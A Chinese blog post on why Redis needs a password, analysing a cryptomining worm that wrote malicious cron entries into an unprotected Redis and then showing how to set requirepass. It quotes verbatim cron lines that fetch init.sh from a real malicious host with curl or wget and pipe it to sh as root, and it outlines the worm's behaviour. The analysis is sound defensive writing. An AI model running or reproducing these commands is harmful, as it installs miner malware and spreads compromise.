Redis一定要设置密码的原理是什么
Redis Assistant 是一款为Redis设计的高效可视化管理与监控工具，提供多种操作模式，高效处理服务器数据。日常使用里的持续防护和信息管理会更突出，适合把安全控制放进长期使用流程中的场景。
为什么redis要设置密码？内网环境可以不设置密码，但是个人服务器，以及线上公网服务器就有必要设置密码了。昨天我查看了一下minio的redis事件通知，查看redis的key时发现多了几个奇怪的key。backup1，backup2，backup3。然后我猜想应该是挖矿病毒。如下面所示：这样就将定时任务和脚本注入到了我们机器当中，就会开始执行init.sh脚本backup1"\n\n\n*/2****rootcd1-fsSLhttp://en2an.top/cleanfda/init.sh|sh\n\n
为什么redis要设置密码？
内网环境可以不设置密码，但是个人服务器，以及线上公网服务器就有必要设置密码了。
昨天我查看了一下minio的redis事件通知，查看redis的key时发现多了几个奇怪的key。backup1，backup2，backup3。然后我猜想应该是挖矿病毒。
如下面所示：这样就将定时任务和脚本注入到了我们机器当中，就会开始执行 init.sh 脚本
backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup2 "\n\n\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n" backup3 "\n\n\n*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n" backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"
init.sh脚本内容是什么？
en2an.top/cleanfda/in…
我们查看这个key的value能得到它会去请求一个地址，我们打开看一下这个init.sh到底是什么东西。
如下图所示是个脚本文件。
这个脚本还挺多的，关闭selinux、杀掉别人的挖矿进程、杀掉CPU占用过高的进程，如果是自己就跳过、修改破坏系统命令、自己造一个下载器downloads()函数、解锁和加锁定时任务、添加挖矿技术任务、设置SSH免密登陆、下载执行矿机挖矿程序、关闭防火墙、清除日志、感染已知的免密机器、下载执行is.sh。
is.sh脚本内容是什么？
en2an.top/cleanfda/is…
如下图所示，上面的init.sh会下载我们的is.sh脚本。
我们看一下这个脚本是干什么。
如下图所示，这个脚本的内容也挺多的。下载masscan扫描器、下载pnscan扫描器、安装 redis 用于创建 redis 未授权访问的漏洞、执行 rs.sh。
rs.sh脚本内容是什么？
en2an.top/cleanfda/rs…
上面的连接可以查看这个脚本内容是什么。
开放 6379 端口、自动化利用redis未授权写入定时任务，利用 pnscan 扫描b段IP 6379 端口，利用 masscan 进行扫描端口。
Redis如何设置密码？
经过以上分析，就知道这个病毒主要是通过你的redis注入进去执行挖矿脚本。如果你的redis没有设置密码，而且暴露在公网上就要小心了。
可以通过以下两种方式对我们的redis进行设置密码。
方式一：修改我们的redis.conf配置文件
需要注意的是这种方式因为修改了配置文件， 需要重新启动我们的redis才能生效。
找到我们的redis.conf文件。
Windows如下图所示
我们编辑此文件，找到requirepass，放开注释，设置指定的值就，重启redis就生效了。
Linux的话，因为大家的安装方式可能不同，我这边是通过docker安装的，做了映射的。这里就不给大家演示了，找到自己安装在linux的redis目录找到redis.conf配置文件，跟windows一样的操作，配置完重启就Ok了。
方式二
连接我们的redis，然后通过指令的方式设置密码。
这种方式比较简单，而且不需要重启就生效。
下面的指令的意思就是把密码设置为123456，公网可不要设置这么简单阿。
config set requirepass 123456
我们查看一下我们的redis的密码。
config get requirepass
这样我们的密码就设置成功了，退出我们的redis客户端再次连接的时候就生效了。
在Docker环境下为PHP安装Redis扩展：手动编译需下载源码、安装phpize、配置编译并安装，生成redis.so并在php.d目录新建redis.ini加载，重启PHP-FPM；也可直接yum安装php72w-pecl-redis，免手动编译。
配置PHP的Redis扩展：先安装Redis服务，从GitHub下载phpredis源码，用phpize编译安装，修改php.ini添加extension=redis.so，重启php-fpm或Apache，通过phpinfo验证并连接Redis。
C++结构体无法直接序列化为RESP协议，需手动将字段映射为*N数组嵌套$lenbulkstring形式。整数需转换为字符串并加:前缀，空字符串用$0\r\n，null用$-1\r\n。长度计算需精确到字节数，特别注意二进制安全，同时确保字段顺序与结构体定义一致。
Redis作为跨服务临时状态枢纽，需按消息队列、缓存和原子状态三重角色设计。选型用List实现任务分发及延迟重试，Stream用于事件广播与位点回溯。go-redis/v8需配置MinIdleConns、MaxRetries及超时。数据写入应JSON序列化并带type标签、设合理TTL、将关键字段提至顶层。消费通过原子GET+DEL或processedkey
在高并发秒杀场景下，利用Redis的减库存原子操作预扣减库存拦截超卖请求，再通过数据库乐观锁（版本号与库存校验）确保最终一致性，异常时回滚Redis库存并借助Lua脚本保证原子性，从而有效防止库存超卖。
在Go中使用go-redis执行Lua脚本可借助原子性解决竞态问题，通过redis.Script封装脚本并自动处理SHA1缓存与重试。需注意KEYS必须为非空切片且所有键在Cluster模式下落在同一slot，ARGV以字符串传入并由tonumber转换。返回值需先检查错误再调用Val()，避免panic。
先看一个典型场景：电商秒杀、库存扣减、定时任务重复调度——这些并发冲突在 TP6 应用里屡见不鲜。用 Redis 的 SETNX 做互斥锁，确实是轻量又直接的方案，但“能用”和“稳妥”之间，隔着三层硬功夫：原子加锁、身份校验、合理超时。这三条，差一条就翻车。 很多人第一次上手，直接写 SETNX 加
高并发抢购中，Redis的DECR原子操作可安全扣库存；配合think-queue异步削峰，接口仅扣库存和推消息；分布式锁需用SETNXEX加唯一标识，释放时用Lua脚本校验；成功资格后须以数据库事务双写为准，失败时补回Redis库存。
基于Redis的ZSET实现延时队列需解决并发重复消费、失败重试混乱、精度不足及内存爆炸等问题。通过Lua脚本保证取删原子性，使用毫秒级时间戳，对临时错误采用指数退避重试，永久错误记入独立哈希表，并限制最大延迟、定期清理过期任务、使用紧凑序列化格式。
操作 Redis 的时候，改个 Key 的过期时间其实是个高频场景。特别是做运维排查或者临时调试那会儿，谁也不想反复切命令行窗口、背那些命令参数。好在 RedisInsight 这个图形工具把这事儿做得很顺手——三种方式任选，总有一种合你胃口。 在动手前，先确认一下 Key 当前的 TTL 状态是个
火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力，依托字节自研豆包多模态大模型，凭借火山方舟一站式平台，提供模型精调、推理部署、智能应用搭建等全链路服务，结合高性能AI算力，助力各行业快速落地大模型数字化与智能化应用。
